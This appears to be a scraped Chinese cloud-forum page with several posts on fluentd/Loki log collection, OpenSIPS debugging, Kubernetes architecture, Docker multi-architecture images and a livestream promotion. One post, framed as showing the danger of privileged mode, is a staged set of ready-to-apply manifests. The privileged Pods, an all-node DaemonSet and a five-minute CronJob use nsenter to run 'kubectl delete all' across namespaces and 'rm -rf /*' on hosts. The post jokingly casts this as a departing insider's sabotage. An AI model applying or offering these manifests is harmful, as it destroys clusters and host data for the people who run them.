k8s_std_collect ${record.dig("kubernetes", "labels", "log-collect") or false}    formated_time "${Time.at(time).to_datetime.iso8601(9)}"    fluentd_worker "#{worker_id}"  </record>  remove_keys docker,kubernetes   //删除原生metadata字段</match>大部分情况下,我们对运行在kubernetes里面的workerload都有自己特定的labels规范,并且这部分内容通常被CD系统集成在发布模板当中。这里大家可以按照自己公司情况构建日志索引结构,当然你可以参考小白定的label规范:...metadata:   labels:    app: <componet_name>   //组件名    app.kubernetes.io/name: <app_name>   //应用名    app.kubernetes.io/version: <app_release>  //应用版本spec:  template:    metadata:      labels:        app: <componet_name>        app.image.version: <componet_image_tag>        app.kubernetes.io/name: <app_name>        log-collect: "true"   //日志采集开关...注意:log-collect可以灵活控制容器是否需要做日志采集,如果不需要控制,可以忽略此标签,同时还需修改record_modifier中的tag处理逻辑如下tag loki.kubernetes.var.log.containersOutput阶段在此阶段,基本上由fluentd采集的日志已经完成了索引构建,我们只需匹配相关的tag将其转发指定的上游数据服务即可,这里我们当然用fluent-plugin-grafana-loki插件将日志抓发给Loki存储。loki插件提供了比较丰富label和buffer参数调试,这里关于Loki的label小白可以直接采用按照前面自定义规则里面的标签即可,参照如下:<match loki.**>  @type loki  @id loki.output  url "http://loki:3100"  remove_keys topic,k8s_std_collect,formated_time,k8s_container_id  drop_single_key true  <label>    stream    k8s_cloud_cluster    k8s_container_name    k8s_node    k8s_app_name    k8s_svc_name    k8s_pod_name    k8s_image_version    k8s_namespace_name </label>  <buffer label>    @type file    path /var/log/fluentd-buffers/loki.buffer    flush_mode interval    flush_thread_count 4    flush_interval 3s    retry_type exponential_backoff    retry_wait 2s    retry_max_interval 60s    retry_timeout 12h    chunk_limit_size 8M    total_limit_size 5G    queued_chunks_limit_size 64    overflow_action drop_oldest_chunk  </buffer></match>关于Buffer的配置,大部分情况下我们可以不用关心,不过你还记得前面小白说的关于docker日志桶的参数配置不当引起丢失日志的风险吗?这里的buffer配置可以根据情况缓解这类问题走到这里我们基本完成了在k8s上较为云原生方式的日志采集架构。另外值得一提的是,Loki本身支持对多租户日志分级存储,如若你的kubernetes平台是基于多租户管理的,那么你可以将租户信息提取出来引入到loki当中。
  • [体验官] 新手调试opensips
    从过年就开始鼓捣这个opensips,终于调通可以放下了,这一路跟取经一样婶的~最开始是跑opensips2.4在ubuntu18上面,为啥?因为中文资料丰富。照着跑一遍,中间也遇到些棘手的小问题,但是跟后面遇到的比起来,小巫见大巫,磕磕绊绊也都解决了。但是通话过程中,始终单通,这个怀疑是rtpproxy和mediaproxy配置的问题。尝试换版本,真正的折磨就此开始。。。。opensips官网(虽开源,但是有官网)有两个稳定的版本,一个就是前面试过的2.4,另一个就是3.1,二选一么,很好选。查了网上的资料,3.1的安装过程也有一个详细的帖子,但是来源就此一家,一路跑通,小问题一个个都排除了,遇到最大的问题是注册不通,抓包显示服务器有响应的包,两次401。这次用的debian系统,3.1的opensips.cfg中用的是socket:ip:5060,而不是2.4版本的listen:ip:5060。2.4版本可以直接声明EIP地址,3.1(debian)版本却只能声名内网地址,如果声名EIP地址,opensips就报错跑不起来。为了排除环境问题,有两个方案:1个是本机部署+局域网终端测试,简化网络环境;2.就是直接在云端挂测试机,opensips直接声明内网地址。第一种方案,比较费时间,本机条件也不允许了,所以选择了第二种,就是再买一个ECS,windows+eyeBeam。云环境拉起系统真是方便,半个小时内得到测试结果:跟ECS环境没有关系。接下来就一筹莫展了,register.so模块不可编辑,没有报错信息,也插不进断点去。。。401不是opensips.cfg的错误提示,脚本拦截也没办法做。偶然间发现,官网提供的安装方式一共有5种,2.4用的是源代码编译的方式,3.1用的是apt install的方式,还有git,docker,ansible方式。今年立的flag要跑一个5GC的,也找到了软件,铁定要用到微服务,就用docker先练练手吧!没想到,居然如此简单,强烈推荐新手测试从docker开始!!!首先安装dockerapt install docker.io这个时间稍微有点长,建议直接在ECS网页的远程连接上敲,这样即使断了,云端也会自己做完,如果是secureCRT就需要保持连接。然后直接拉取opensips的镜像: docker pull opensips/opensipsdocker run -p 5060:5060/udp -d --name opensips opensips/opensips这个时候报了一个错,提示5060端口已经绑定到应用opensips,关掉原来启用的opensipssystemctl stop opensips再运行docker run -p 5060:5060/udp -d --name opensips opensips/opensipsdocker ps -a把配置文件拷贝出来编辑docker cp 952be5f58776:/etc/opensips/opensips.cfg .增加两句:advertised_address="x.x.x.x"alias="x.x.x.x"//声明EIP地址然后用测试终端直接测试,通过~双方通话清晰流畅。docker里面没有auth模块也就没有鉴权,也没有用数据库,超级简单。总结经验教训:从最新的软件开始学起,这也没办法选择,但是,多试试总不会错的。
  • rm -rf /执行完真的就可以跑路了吗
    主要用于展示 Docker 特权模式的危害,请谨慎操作。1. 直接删除全部资源如果能登陆机器,收拾好东西,执行命令:kubectl delete all --all --all-namespaces但是也有可能没那么大权限,那么就试试下面的方法吧。下面的方法依赖于 Docker 的特权模式。2. 随便试试,热热身先热热身,执行脚本,随便试试,看看有没有效果。cat <<EOF | kubectl apply -f -apiVersion: v1kind: Podmetadata:  name: danger-1  namespace: defaultspec:  containers:    - command: ["sh"]      args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]      image: docker.io/alpine:3.12      name: pod-test      securityContext:        privileged: true  hostIPC: true  hostNetwork: true  hostPID: true  tolerations:  - effect: NoSchedule    key: node-role.kubernetes.io/master  - key: CriticalAddonsOnly    operator: Exists  - effect: NoExecute    key: node.kubernetes.io/not-ready    operator: Exists    tolerationSeconds: 60  - effect: NoExecute    key: node.kubernetes.io/unreachable    operator: Exists    tolerationSeconds: 60EOF3. 可能 Master 节点上配置了 kubeconfig如果 Node 节点无法执行 kubectl 命令,那么可以选中 Master 节点试试。cat <<EOF | kubectl apply -f -apiVersion: v1kind: Podmetadata:  name: danger-1  namespace: defaultspec:  affinity:    nodeAffinity:      preferredDuringSchedulingIgnoredDuringExecution:      - preference:          matchExpressions:          - key: node-role.kubernetes.io/master            operator: In            values:            - ""        weight: 100  containers:    - command: ["sh"]      args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]      image: docker.io/alpine:3.12      name: pod-test      securityContext:        privileged: true  tolerations:  - effect: NoSchedule    key: node-role.kubernetes.io/master  - key: CriticalAddonsOnly    operator: Exists  - effect: NoExecute    key: node.kubernetes.io/not-ready    operator: Exists    tolerationSeconds: 60  - effect: NoExecute    key: node.kubernetes.io/unreachable    operator: Exists    tolerationSeconds: 60  hostIPC: true  hostNetwork: true  hostPID: trueEOF4. 算了,全部节点都试试如果还是不行,干脆全部节点都试试吧,反正东西都收拾好了。cat <<EOF | kubectl apply -f -apiVersion: apps/v1kind: DaemonSetmetadata:  name: danger-3spec:  selector:    matchLabels:      danger.kubernetes.io/name: d3  template:    metadata:      labels:        danger.kubernetes.io/name: d3    spec:      containers:        - command: ["sh"]          args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]          image: docker.io/alpine:3.12          name: pod-test          securityContext:            privileged: true      hostIPC: true      hostNetwork: true      hostPID: true      tolerations:      - effect: NoSchedule        key: node-role.kubernetes.io/master      - key: CriticalAddonsOnly        operator: Exists      - effect: NoExecute        key: node.kubernetes.io/not-ready        operator: Exists        tolerationSeconds: 60      - effect: NoExecute        key: node.kubernetes.io/unreachable        operator: Exists        tolerationSeconds: 60EOF5. 最后挣扎一下,定时试试,先下班了试到这里,大概率明天还得继续搬砖 996 了,最后再试一次。每五分钟执行一次,基本格式 : * * * * *,分别对应分、时、日、月、周。cat <<EOF | kubectl apply -f -apiVersion: batch/v1beta1kind: CronJobmetadata:  name: danger-4spec:  schedule: "*/5 * * * *"  jobTemplate:    spec:      template:        spec:          containers:            - command: ["sh"]              args: ["-c", "echo 'sudo rm -rf /*' | nsenter -t 1 -m -u -i -n"]              image: docker.io/alpine:3.12              name: pod-test              securityContext:                privileged: true          restartPolicy: OnFailure          hostIPC: true          hostNetwork: true          hostPID: true          tolerations:          - effect: NoSchedule            key: node-role.kubernetes.io/master          - key: CriticalAddonsOnly            operator: Exists          - effect: NoExecute            key: node.kubernetes.io/not-ready            operator: Exists            tolerationSeconds: 60          - effect: NoExecute            key: node.kubernetes.io/unreachable            operator: Exists            tolerationSeconds: 60EOF
  • [虚拟化] 深入理解K8S架构
    K8S技术庞杂,内容繁多,密度量大,如果一头扎进官网文档,估计会犯晕。这里提炼概览,对核心概念和流程进行分析讲解,在脑海里重建Master和Worker节点和他们的组件构成。两大角色  K8S有两大角色,一个是Master节点,一个是Worker节点。  其中Master负责管理和调度集群资源,Worker负责提供集群资源。  在一个高可用的集群当中,他俩一般由多个节点构成,这些节点可以是虚拟机也可以是物理机。  Worker提供的节点叫Pod,简单理解Pod就是K8S云平台提供的虚拟机,Pod里头住的是应用容器,比如Docker容器。  大部分情况Pod里只包含一个容器;有时候也包含多个容器,其中一个是主容器,其他是辅助容器。  为了加深理解,这里做个简单类比。Master好比指挥调度员工干活的主管,Worker好比部门当中实际干活的人。  K8S主要解决集群资源调度的问题,当有应用发布请求过来的时候,K8S会根据集群资源的空闲状态,把集群当中空闲的Pod合理的分配到Worker当中;另外,K8S还负责监控集群,当集群中有节点或者Pod挂了,它需要重新协调和启动Pod,保证应用的高可用,这个技术也叫自愈;另外K8S还需要管理集群的网络,保证Pod和服务之间可以互通互联。Master节点和构成Master节点是集群的大脑,它由四大组件构成:etcdetcd是分布式的KV数据库,负责状态存储,所有集群的状态,比如节点Pod发布,配置等等。高可用的etcd集群部署一般要三个节点。etcd可以独立部署,也可以和Master节点一起部署。api server集群的接口和通信总线。kubectl,kubelet,kube-proxy,dashboard,sdk操作背后都是通过api server和集群进行交互。可以理解为etcd的一个代理,是唯一能够直接访问和操作etcd的组件,其他组件都只能依赖api server间接操作etcd。它还是集群的事件总线(EventBus),其他组件可以订阅它,当有事件发生时候,会通知感兴趣的这些组件。scheduler负责集群调度决策。当新的应用请求到达集群,scheduler负责决策相应的Pod应该分布到哪些空闲节点上。controller manager负责保证集群状态最终一致性。它通过api server监控集群的最终状态,确保集群状态和预期状态是一致的。如果一个运用要求发布10个Pod,controller manager会最终启动10个Pod,如果一个Pod挂了,它会负责协调,重新启动Pod。如果Pod启多了,它会协调关闭多余Pod。也就是说,K8S采用的是最终一致调度策略,它是集群自愈背后的实现机制。Worker节点和构成  worker节点是集群资源的提供者,它由这几个组件构成:kubelet向下,它是worker节点的资源管理者,相当于一个agent,它并不是直接管理节点资源,而是委托container runtime进行管理。比如启动、关闭容器、收集容器状态。向上,它负责监听api server产生的事件,根据master的指示,启动或关闭Pod等资源;它也负责将本节点上的状态汇报给master节点。如果说master节点是K8S集群的大脑,那么kubelet节点则是worker节点的小脑。container runtime是节点容器资源的直接管理者。如果采用docker容器,管理的就是docker引擎。如果本地没有镜像缓存,它会到docker register或者docker hub上拉取相依的镜像,然后缓存在本地。kube-proxy 负责管理K8S集群上的服务组件。我们知道Pod是K8S当中一个不固定的概念,为了屏蔽PodIP的变化(包括预期和非预期变化),K8S引入Server组件,并且在调用的时候进行负载均衡。kube-proxy就是实现k8s server背后机制。另外,当需要把K8S当中的服务暴露给外网的时候,也是通过kube0-proxy进行代理转发。发布流程  接下来通过一个发布流程展示这些组件之间是如何配合工作的。向api server发送create new replicaset请求,api server会把请求存储在etcd当中。controller manager会监听到replicset的创建或修改相关事件。controller manager接收到通知,会比较当前集群状态和预知集群状态,它发现不一致,需要创建新的Pods。你通过kubectl提交的发布模板,在api server当中创建预期的Podscheduler监听到需要创建新的Pod资源,它通过调度算法,选择空闲节点,然后跟进api server更新Pod的定义,这个定义将Pod分配到指定的节点上。注意到这一步,应用还没真正发布,controller manager和scheduler只是通过api server更新了预期的集群状态。一旦Pod被指定分配给某个workder节点,api server就会通知相应节点上的kubelet。kubelet接收到通知,就会指示节点上的container runtime,比如说docker engine运行相应的容器。container runtime开始下载镜像,启动容器。kubelet也开始监控容器的运行,到这一步应用容器就开始正式运行了。综合架构  前面对K8S的组件分别进行了分析,接下来我们综合起来看一下它的总体架构。   集群中的Pod通过overlay network相互寻址和通信。实现覆盖网络的技术很多,比如Flannel,Vxlen,Callco,Weave-Net。  另外如果外网流量要访问集群当中的服务,一般要走负载均衡器(Load Balander),再通过kube-proxy间接地转发到服务的Pod上。  除了前面这些组件,外围还包括存储,监控,日志,分析等配套的支撑服务。  对于K8S这种复杂而庞大的系统,我们先要了解它的架构,包括组件的构成和作用,流程,总体架构。帮助我们在头脑当中建立起K8S的架构概念模型,帮助我们在实践中学习和运用好K8S。
  • [技术干货] Multi-Architecture镜像制作指南已到,请查收!
    摘要:使用Multi-Architecture镜像,可以让docker根据系统架构去拉取对应的镜像,服务的部署脚本等可以在不同架构的系统间使用相同的配置,减化服务配置,提高了服务在不同系统架构间的一致性。背景由于Kubernetes集群支持amd64和arm64架构的系统,容器部署时两种类型的节点都可能被集群调度到;所以容器在打包推送到镜像仓库时需要考虑支持多架构,防止调度到不支持的架构节点导致运行失败。简介Docker register: v2.3.0开始支持Multi-Architecture镜像Docker CLIv1.11开始支持Multi-Architecture镜像拉取v18.03开始支持Multi-Architecture镜像制作参考资料:Manifest标准:https://docs.docker.com/registry/spec/manifest-v2-1/Manifest命令:https://docs.docker.com/engine/reference/commandline/manifest/Registry:https://github.com/docker/distribution/releases/tag/v2.3.0制作说明虽然Multi-Architecture标准很早就有,但是官方的Docker CLI直到v18.03版本才开始支持Multi-Architecture镜像的制作;或者可以考虑使用第三方工具,参考:构建多CPU架构支持的Docker镜像后续Multi-Architecture镜像的制作使用Docker v18.09版本进行说明。设置DockerDocker使用manifest命令来设置MANIFEST_LIST从而支持Multi-Architecture。到Docker v18.09版本为止,manifest命令还是实验性的,所以要配置Docker使能实验性功能。Docker daemon修改配置文件/etc/docker/daemon.json,添加配置"experimental": true:$ sudo cat /etc/docker/daemon.json[sudo] password for zhangsan:{    "data-root": "/home/common/docker",    "experimental": true,               <- 使能docker daemon实验性功能    "storage-driver": "overlay2",    "log-driver": "json-file",    "log-opts": {        "max-file": "10",        "max-size": "100m"    },    "insecure-registries": [        "docker-hub.***.com"    ]}Docker Cli修改当前用户home目录的配置文件~/.docker/config.json,添加配置"experimental": "enabled":$ cat ~/.docker/config.json{    "experimental": "enabled",          <- 使能docker cli实验性功能        "proxies":        {            "default":            {                "httpProxy": "http://127.0.0.1:3128",                "httpsProxy": "http://127.0.0.1:3128",                "ftpProxy": "http://127.0.0.1:3128"            }        }}验证配置重启docker服务,手工运行docker manifest,出现如下信息说明配置成功:$ docker manifest Usage:  docker manifest COMMAND  Manage Docker image manifests and manifest lists  Commands:  annotate    Add additional information to a local image manifest  create      Create a local manifest list for annotating and pushing to a registry  inspect     Display an image manifest, or manifest list  push        Push a manifest list to a repository Run 'docker manifest COMMAND --help' for more information on a command.镜像打包示例程序stop是一个go程序,启动后暂停不做任何操作,编译到amd64和arm64平台,在amd64平台分别运行如下:$ ll -hR.:total 8.0Kdrwxrwxr-x 2 zhangsan zhangsan 4.0K Jun  3 17:21 amd64drwxrwxr-x 2 zhangsan zhangsan 4.0K Jun  3 17:21 arm64 ./amd64:total 240K-rw-rw-r-- 1 zhangsan zhangsan   51 Jun  3 17:21 Dockerfile-rwxrwxr-x 1 zhangsan zhangsan 235K Jul 19  2014 stop ./arm64:total 656K-rw-rw-r-- 1 zhangsan zhangsan   51 Jun  3 17:21 Dockerfile-rwxr-xr-x 1 zhangsan zhangsan 651K May 22 14:38 stop $ amd64/stop^C% $ arm64/stopzsh: exec format error: arm64/stop使用相同的Dockerfile:$ cat DockerfileFROM scratch COPY stop /stopENTRYPOINT ["/stop"]amd64版本$ cd amd64 $ lsDockerfile  stop # 使用tag标注平台信息。$ docker build -t docker-hub.***.com/zhangsan/stop:1.0-amd64 .Sending build context to Docker daemon  242.7kBStep 1/3 : FROM scratch --->Step 2/3 : COPY stop /stop ---> ffb0d366bb8cStep 3/3 : ENTRYPOINT ["/stop"] ---> Running in 715d1fbcf450Removing intermediate container 715d1fbcf450 ---> 0584fe60ca3dSuccessfully built 0584fe60ca3dSuccessfully tagged docker-hub.***.com/zhangsan/stop:1.0-amd64 $ docker images | grep stopREPOSITORY                                        TAG                 IMAGE ID            CREATED             SIZEdocker-hub.***.com/zhangsan/stop        1.0-amd64           0584fe60ca3d        3 seconds ago       240kB $ docker push docker-hub.***.com/zhangsan/stop:1.0-amd64The push refers to repository [docker-hub.***.com/zhangsan/stop]9e352dcc98ab: Pushed1.0-amd64: digest: sha256:e5b6263b7e45840f139f1bf40b774294712c95df1b43d41598b736f07110341f size: 526 # 可以用manifest的子命令inspect查看镜像的manifest信息,由于是私有仓库,需要使用--insecure参数。$ docker manifest inspect -v --insecure docker-hub.***.com/zhangsan/stop:1.0-amd64{        "Ref": "docker-hub.***.com/zhangsan/stop:1.0-amd64",        "Descriptor": {                "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                "digest": "sha256:e5b6263b7e45840f139f1bf40b774294712c95df1b43d41598b736f07110341f",                "size": 526,                "platform": {                        "architecture": "amd64",                        "os": "linux"                }        },        "SchemaV2Manifest": {                "schemaVersion": 2,                "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                "config": {                        "mediaType": "application/vnd.docker.container.image.v1+json",                        "size": 1489,                        "digest": "sha256:0584fe60ca3dbff4c746d376855e89b72b022a4198373b3c8d4c41b97b8b4faf"                },                "layers": [                        {                                "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",                                "size": 71322,                                "digest": "sha256:7797d3b3ba41f7abc6a914250f793cf2d69a3e7c0bcc787a596eab4836554552"                        }                ]        }}arm64版本$ cd arm64 $ lsDockerfile  stop $ docker build -t docker-hub.***.com/zhangsan/stop:1.0-arm64 .Sending build context to Docker daemon  669.2kBStep 1/3 : FROM scratch --->Step 2/3 : COPY stop /stop ---> e02dd9cc9ffaStep 3/3 : ENTRYPOINT ["/stop"] ---> Running in 9b574680691aRemoving intermediate container 9b574680691a ---> 1fc97e49b088Successfully built 1fc97e49b088Successfully tagged docker-hub.***.com/zhangsan/stop:1.0-arm64 $ docker images | grep stopdocker-hub.***.com/zhangsan/stop        1.0-arm64           1fc97e49b088        8 seconds ago       666kBdocker-hub.***.com/zhangsan/stop        1.0-amd64           0584fe60ca3d        3 minutes ago       240kB $ docker push docker-hub.***.com/zhangsan/stop:1.0-arm64The push refers to repository [docker-hub.***.com/zhangsan/stop]a0c07ccfc4ae: Pushed1.0-arm64: digest: sha256:089798dc96fcc3d2bf4da3ec4243adcc2507d2ae0c5ba77c5582af626702b3d6 size: 527 # 由于打包镜像的机器是amd64架构,所以arm64的应用镜像中architecture为amd64,后面可以修改,或者直接在arm64机器上打包。$ docker manifest inspect -v --insecure docker-hub.***.com/zhangsan/stop:1.0-arm64{        "Ref": "docker-hub.***.com/zhangsan/stop:1.0-arm64",        "Descriptor": {                "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                "digest": "sha256:089798dc96fcc3d2bf4da3ec4243adcc2507d2ae0c5ba77c5582af626702b3d6",                "size": 527,                "platform": {                        "architecture": "amd64",                        "os": "linux"                }        },        "SchemaV2Manifest": {                "schemaVersion": 2,                "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                "config": {                        "mediaType": "application/vnd.docker.container.image.v1+json",                        "size": 1488,                        "digest": "sha256:1fc97e49b0883f59e1e894404785ea1867b9e557d55bdac92f2da09c92b659e7"                },                "layers": [                        {                                "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",                                "size": 318698,                                "digest": "sha256:4397808817371da0348eb097ca181996165a9836d629aa1fb97b0d3824ffe2e2"                        }                ]        }}验证镜像$ docker images | grep stopdocker-hub.***.com/zhangsan/stop        1.0-arm64           1fc97e49b088        21 hours ago        666kBdocker-hub.***.com/zhangsan/stop        1.0-amd64           0584fe60ca3d        21 hours ago        240kB $ docker run docker-hub.***.com/zhangsan/stop:1.0-amd64^C% $ docker run docker-hub.***.com/zhangsan/stop:1.0-arm64standard_init_linux.go:207: exec user process caused "exec format error"创建MANIFEST_LIST创建一个MANIFEST_LIST引用之前两个不同平台的镜像。$ docker manifest inspect -v --insecure docker-hub.***.com/zhangsan/stop:1.0no such manifest: docker-hub.***.com/zhangsan/stop:1.0 $ docker manifest create --insecure docker-hub.***.com/zhangsan/stop:1.0 docker-hub.***.com/zhangsan/stop:1.0-amd64 docker-hub.***.com/zhangsan/stop:1.0-arm64Created manifest list docker-hub.***.com/zhangsan/stop:1.0 $ docker manifest inspect -v --insecure docker-hub.***.com/zhangsan/stop:1.0[        {                "Ref": "docker-hub.***.com/zhangsan/stop:1.0-amd64",                "Descriptor": {                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "digest": "sha256:e5b6263b7e45840f139f1bf40b774294712c95df1b43d41598b736f07110341f",                        "size": 526,                        "platform": {                                "architecture": "amd64",                                "os": "linux"                        }                },                "SchemaV2Manifest": {                        "schemaVersion": 2,                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "config": {                                "mediaType": "application/vnd.docker.container.image.v1+json",                                "size": 1489,                                "digest": "sha256:0584fe60ca3dbff4c746d376855e89b72b022a4198373b3c8d4c41b97b8b4faf"                        },                        "layers": [                                {                                        "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",                                        "size": 71322,                                        "digest": "sha256:7797d3b3ba41f7abc6a914250f793cf2d69a3e7c0bcc787a596eab4836554552"                                }                        ]                }        },        {                "Ref": "docker-hub.***.com/zhangsan/stop:1.0-arm64",                "Descriptor": {                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "digest": "sha256:089798dc96fcc3d2bf4da3ec4243adcc2507d2ae0c5ba77c5582af626702b3d6",                        "size": 527,                        "platform": {                                "architecture": "amd64",                                "os": "linux"                        }                },                "SchemaV2Manifest": {                        "schemaVersion": 2,                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "config": {                                "mediaType": "application/vnd.docker.container.image.v1+json",                                "size": 1488,                                "digest": "sha256:1fc97e49b0883f59e1e894404785ea1867b9e557d55bdac92f2da09c92b659e7"                        },                        "layers": [                                {                                        "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",                                        "size": 318698,                                        "digest": "sha256:4397808817371da0348eb097ca181996165a9836d629aa1fb97b0d3824ffe2e2"                                }                        ]                }        }]修改MANIFEST_LIST修改刚创建的MANIFEST_LIST,使镜像和架构对应。$ docker manifest annotate docker-hub.***.com/zhangsan/stop:1.0 docker-hub.***.com/zhangsan/stop:1.0-arm64 --arch arm64[        {                "Ref": "docker-hub.***.com/zhangsan/stop:1.0-amd64",                "Descriptor": {                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "digest": "sha256:e5b6263b7e45840f139f1bf40b774294712c95df1b43d41598b736f07110341f",                        "size": 526,                        "platform": {                                "architecture": "amd64",                                "os": "linux"                        }                },                "SchemaV2Manifest": {                        "schemaVersion": 2,                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "config": {                                "mediaType": "application/vnd.docker.container.image.v1+json",                                "size": 1489,                                "digest": "sha256:0584fe60ca3dbff4c746d376855e89b72b022a4198373b3c8d4c41b97b8b4faf"                        },                        "layers": [                                {                                        "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",                                        "size": 71322,                                        "digest": "sha256:7797d3b3ba41f7abc6a914250f793cf2d69a3e7c0bcc787a596eab4836554552"                                }                        ]                }        },        {                "Ref": "docker-hub.***.com/zhangsan/stop:1.0-arm64",                "Descriptor": {                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "digest": "sha256:089798dc96fcc3d2bf4da3ec4243adcc2507d2ae0c5ba77c5582af626702b3d6",                        "size": 527,                        "platform": {                                "architecture": "arm64",                                "os": "linux"                        }                },                "SchemaV2Manifest": {                        "schemaVersion": 2,                        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",                        "config": {                                "mediaType": "application/vnd.docker.container.image.v1+json",                                "size": 1488,                                "digest": "sha256:1fc97e49b0883f59e1e894404785ea1867b9e557d55bdac92f2da09c92b659e7"                        },                        "layers": [                                {                                        "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",                                        "size": 318698,                                        "digest": "sha256:4397808817371da0348eb097ca181996165a9836d629aa1fb97b0d3824ffe2e2"                                }                        ]                }        }]推送MANIFEST_LIST到镜像仓库创建的MANIFEST_LIST会保存在本地目录~/.docker/manifests,在push时可以使用-p(--purge)参数删除本地数据:$ ll -R ~/.docker/manifests/home/zhangsan/.docker/manifests:total 4drwxr-xr-x 2 zhangsan zhangsan 4096 Jun  3 17:57 docker-hub.***.com_zhangsan_stop-1.0 /home/zhangsan/.docker/manifests/docker-hub.***.com_zhangsan_stop-1.0:total 8-rw-r--r-- 1 zhangsan zhangsan 733 Jun  3 17:57 docker-hub.***.com_zhangsan_stop-1.0-amd64-rw-r--r-- 1 zhangsan zhangsan 734 Jun  3 18:01 docker-hub.***.com_zhangsan_stop-1.0-arm64 $ sudo docker manifest push -p --insecure docker-hub.***.com/zhangsan/stop:1.0[sudo] password for zhangsan:sha256:401767ef0864a65578bef86e3baed2e1e0be905d08d88b57cdeb299850400ece验证$ docker images | grep stopdocker-hub.***.com/zhangsan/stop        1.0-arm64           1fc97e49b088        16 hours ago        666kBdocker-hub.***.com/zhangsan/stop        1.0-amd64           0584fe60ca3d        16 hours ago        240kB # 在amd64架构的系统下拉取不带架构信息的镜像$ uname -aLinux SZX1000514415 4.4.0-87-generic #110-Ubuntu SMP Tue Jul 18 12:55:35 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ docker pull docker-hub.***.com/zhangsan/stop:1.01.0: Pulling from zhangsan/stopDigest: sha256:401767ef0864a65578bef86e3baed2e1e0be905d08d88b57cdeb299850400eceStatus: Downloaded newer image for docker-hub.***.com/zhangsan/stop:1.0 $ docker images | grep stopdocker-hub.***.com/zhangsan/stop        1.0-arm64           1fc97e49b088        16 hours ago        666kBdocker-hub.***.com/zhangsan/stop        1.0                 0584fe60ca3d        16 hours ago        240kBdocker-hub.***.com/zhangsan/stop        1.0-amd64           0584fe60ca3d        16 hours ago        240kB # 可正常运行$ docker run docker-hub.***.com/zhangsan/stop:1.0^C% # 在arm64架构的系统下拉取不带架构信息的镜像[root@kwephicprc09532 ~]# uname -aLinux kwephicprc09532 4.1.44-06.160.vhulk1711.1.1.aarch64 #1 SMP Tue Oct 16 18:45:06 UTC 2018 aarch64 aarch64 aarch64 GNU/Linux [root@kwephicprc09532 ~]# docker images | grep stop [root@kwephicprc09532 ~]# docker pull docker-hub.***.com/zhangsan/stop:1.01.0: Pulling from zhangsan/stop439780881737: Pull completeDigest: sha256:401767ef0864a65578bef86e3baed2e1e0be905d08d88b57cdeb299850400eceStatus: Downloaded newer image for docker-hub.***.com/zhangsan/stop:1.0 [root@kwephicprc09532 ~]# docker images | grep stopdocker-hub.***.com/zhangsan/stop                          1.0                 1fc97e49b088        16 hours ago        666.5 kB # 可正常运行[root@kwephicprc09532 ~]# docker run docker-hub.***.com/zhangsan/stop:1.0^CShutting down, got signal: Interrupt升级MANIFEST_LIST后期升级MANIFEST_LIST方法与创建类似,如:docker-hub.***.com/zhangsan/stop:1.0-amd64镜像升级或docker-hub.***.com/zhangsan/stop:1.0这个MANIFEST_LIST要关联其它镜像时,都需要升级MANIFEST_LIST。需要注意几点:manifest create时使用参数-a(--amend)升级后没有关联到期望的镜像可以先手工删除本地保存的manifest再尝试使用Multi-Architecture镜像的好处使用Multi-Architecture镜像,可以让docker根据系统架构去拉取对应的镜像,服务的部署脚本等可以在不同架构的系统间使用相同的配置,减化服务配置,提高了服务在不同系统架构间的一致性。 本文分享自《叮!快收好这份Multi-Architecture镜像制作指南》,原文作者:Thir**mans 。
  • [热门活动] 【HDZ研习社24期,论坛回帖赢多重好礼】小马哥教你玩转Docker,省去搭环境的烦恼
    HDZ研习社24期:小马哥教你玩转Docker,省去搭环境的烦恼2020年12月28日 19:00点击这里,立即报名直播马景贺(小马哥),华为云MVP、中国 DevOps 社区成员、云原生社区大连站发起人之一,云原生 DevSecOps 技术爱好与推广者坚信:独乐乐不如众乐乐。Docker 能够帮助我们快速搭建各种语言开发环境,解决了为了搭建环境而下载各种安装包的烦恼。在很大程度上提高了开发效率。掌握 Docker 的操作,已经成为了一名合格 IT 人员所必备的技能。1、Docker 是什么2、Docker 怎么玩3、如何用Docker 部署应用1、邀请好友报名直播,直接领取好礼。报名之后,点击【分享有礼】完成邀请。(1)邀请10位好友报名,可赢取HDZ三合一数据线1个。(2)邀请18位好友报名,可赢取文件收纳包1个。(3)邀请28位好友报名,可赢取HDZ笔记本套盒个。(4)邀请48位好友报名,可赢取帆布包1个。  PS:我们将选取前20名符合邀请条件的用户进行奖品。中奖结果公布:请以上中奖观众于1月3日前联系HDZ小助手(微信号:Huawei-HDZ)提供登录论坛的截图、联系方式和邮寄地址逾期视为放弃领奖资格如何邀请好友?1.点击本页面上方“立即报名”按钮 > 2.登录/注册华为云账号 > 3.填写信息完成活动报名 > 4.报名成功弹窗中点击分享有礼(或进入我的直播中点击分享有礼按钮) > 5.按照引导将活动分享至你的好友,并引导ta完成本活动报名。- 活动规则1)您邀请的好友必须完成狂欢日直播活动的报名,否则不视为邀请成功。2)不可邀请自己的其他任意账号参与活动,否则取消活动资格。3)请确保您邀请的用户为真实有效的用户,如发现存在恶意注册、恶意邀请等行为(“恶意”是指为获取奖励资格而异常注册账号等破坏活动公平性的行为),我们将取消相关人员获奖资格。4)请务必使用个人账号参与活动(IAM、企业账号等账号参与无效)5)所有奖项获奖用户,请于获奖后3日内完成实名认证,否则视为放弃奖励!!!最终邀请好友的数量将从高到低排列,前20位将领取到奖品(前提符合每个阶段邀请数量)。 